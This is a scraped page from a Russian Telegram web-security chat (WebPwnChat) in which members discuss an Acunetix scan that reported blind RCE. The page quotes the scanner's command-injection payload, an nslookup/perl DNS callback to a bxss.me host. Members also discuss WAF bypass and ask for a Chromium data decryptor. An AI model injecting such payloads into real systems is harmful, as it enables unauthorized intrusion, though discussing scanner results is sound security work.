Телеграмм чат группы WebPwnChat страница 3497

parrot.ru

Рейтинг популярных групп и каналов

В рейтинге участвует:

групп:

каналов:

Виртуальный сервер на SSD - недорого!

Аренда выделенных и виртуальных серверов (VDS/VPS), хостинг, аренда IP-адресов, администрирование, круглосуточная поддержка

qwarta.ru подробнее

Резервное копирование с проверкой на вирусы!!!

Удобный сервис создания резервных копий на любой сервер сети интернет. Отслеживайте изменения, проверяйте на вирусы. Надежно защитите свой бизнес!

go.backupland.com

Выбираете сервер? Любая конфигурация на заказ!

Аренда физических серверов любых конфигураций под любые запросы - 1С бухгалтерия, игровые сервера, нагруженные проекты, интернет-магазины!

qwarta.ru подробнее

Size: a a a

WebPwnChat

1241 membersпожаловаться на группу

2021 January 05

᠌

᠌᠌Sh1Yo in WebPwnChat

Тем что в полиси написан 🤔

источник

18:46пожаловаться #1

2021 January 06

👾0

👾 0x1 in WebPwnChat

а как возможно то что окунь нашел rce:
"URL encoded POST input text was set to (nslookup hitfpxqsobzcr0fbec.bxss.me||perl -e "gethostbyname('hitfpxqsobzcr0fbec.bxss.me')")"
Proof of Exploit
DNS lookup - hitfpxqsobzcr0fbec.bxss.me

DNS IP: *.*.*.*
DNS TYPE: A
DNS QUERY: hitfpxqsobzcr0fbec.bxss.me
но по факту окунь у себя в HTTP Response выдал вернул обычный ответ json

источник

01:00пожаловаться #2

<ᅠ

<404> ᅠ in WebPwnChat

а как возможно то что окунь нашел rce:
"URL encoded POST input text was set to (nslookup hitfpxqsobzcr0fbec.bxss.me||perl -e "gethostbyname('hitfpxqsobzcr0fbec.bxss.me')")"
Proof of Exploit
DNS lookup - hitfpxqsobzcr0fbec.bxss.me

DNS IP: *.*.*.*
DNS TYPE: A
DNS QUERY: hitfpxqsobzcr0fbec.bxss.me
но по факту окунь у себя в HTTP Response выдал вернул обычный ответ json

это оффлайн кряк?

источник

01:01пожаловаться #3

👾0

👾 0x1 in WebPwnChat

я отрубал лишь сервисы окуня и бд, после менял права на лицу и все

источник

01:01пожаловаться #4

GD

Green Dog in WebPwnChat

а как возможно то что окунь нашел rce:
"URL encoded POST input text was set to (nslookup hitfpxqsobzcr0fbec.bxss.me||perl -e "gethostbyname('hitfpxqsobzcr0fbec.bxss.me')")"
Proof of Exploit
DNS lookup - hitfpxqsobzcr0fbec.bxss.me

DNS IP: *.*.*.*
DNS TYPE: A
DNS QUERY: hitfpxqsobzcr0fbec.bxss.me
но по факту окунь у себя в HTTP Response выдал вернул обычный ответ json

а в чем вопрос? это может быть блайнд рце

источник

01:06пожаловаться #5

👾0

👾 0x1 in WebPwnChat

а в чем вопрос? это может быть блайнд рце

блет точно, спасибо

источник

01:06пожаловаться #6

GD

Green Dog in WebPwnChat

или чтото между вам зарезолвило кусок параметра (ваф например)

источник

01:06пожаловаться #7

<ᅠ

<404> ᅠ in WebPwnChat

а в чем вопрос? это может быть блайнд рце

лол ты подписан как акунетикс
можно тогда сразу вопрос? можно ли вытащить из аку механизм поиска и детекта sqli?

источник

01:07пожаловаться #8

A

Andrew in WebPwnChat

У кого то есть дешифрования хромиум json на c++ реализованный?

источник

01:07пожаловаться #9

<ᅠ

<404> ᅠ in WebPwnChat

лол ты подписан как акунетикс
можно тогда сразу вопрос? можно ли вытащить из аку механизм поиска и детекта sqli?

чтобы понимать как он ваф обходил и тд тп

источник

01:07пожаловаться #10

WS

Web Security in WebPwnChat

чтобы понимать как он ваф обходил и тд тп

Проксируй траф на Бурп и смотри реквесты

источник

01:08пожаловаться #11

GD

Green Dog in WebPwnChat

вот да

источник

01:08пожаловаться #12

<ᅠ

<404> ᅠ in WebPwnChat

Проксируй траф на Бурп и смотри реквесты

так можно? О_о

источник

01:08пожаловаться #13

GD

Green Dog in WebPwnChat

самый просто вариант

источник

01:08пожаловаться #14

s

s̢̍̌͗ͧͫ͊ͧͫͮ̂̒̇̅̌̐͆́͡... in WebPwnChat

так можно? О_о

Не обязательно же проксировать явно для акунетикса
Можно проксировать и софт, который в принципе возможности установки прокси не имеет

источник

01:08пожаловаться #15

GD

Green Dog in WebPwnChat

можно ещё исходники скриптов вынуть

источник

01:09пожаловаться #16

GD

Green Dog in WebPwnChat

акунетикс поддерживает прокси для сканов

источник

01:09пожаловаться #17

s

s̢̍̌͗ͧͫ͊ͧͫͮ̂̒̇̅̌̐͆́͡... in WebPwnChat

акунетикс поддерживает прокси для сканов

Хах, тем более

источник

01:09пожаловаться #18

GD

Green Dog in WebPwnChat

чтобы понимать как он ваф обходил и тд тп

но ваф окунь обоходить не умеет

источник

01:09пожаловаться #19

<ᅠ

<404> ᅠ in WebPwnChat

но ваф окунь обоходить не умеет

если привести аналогию с sqlmap, то аку использует что-то по типу тамперов

источник

01:16пожаловаться #20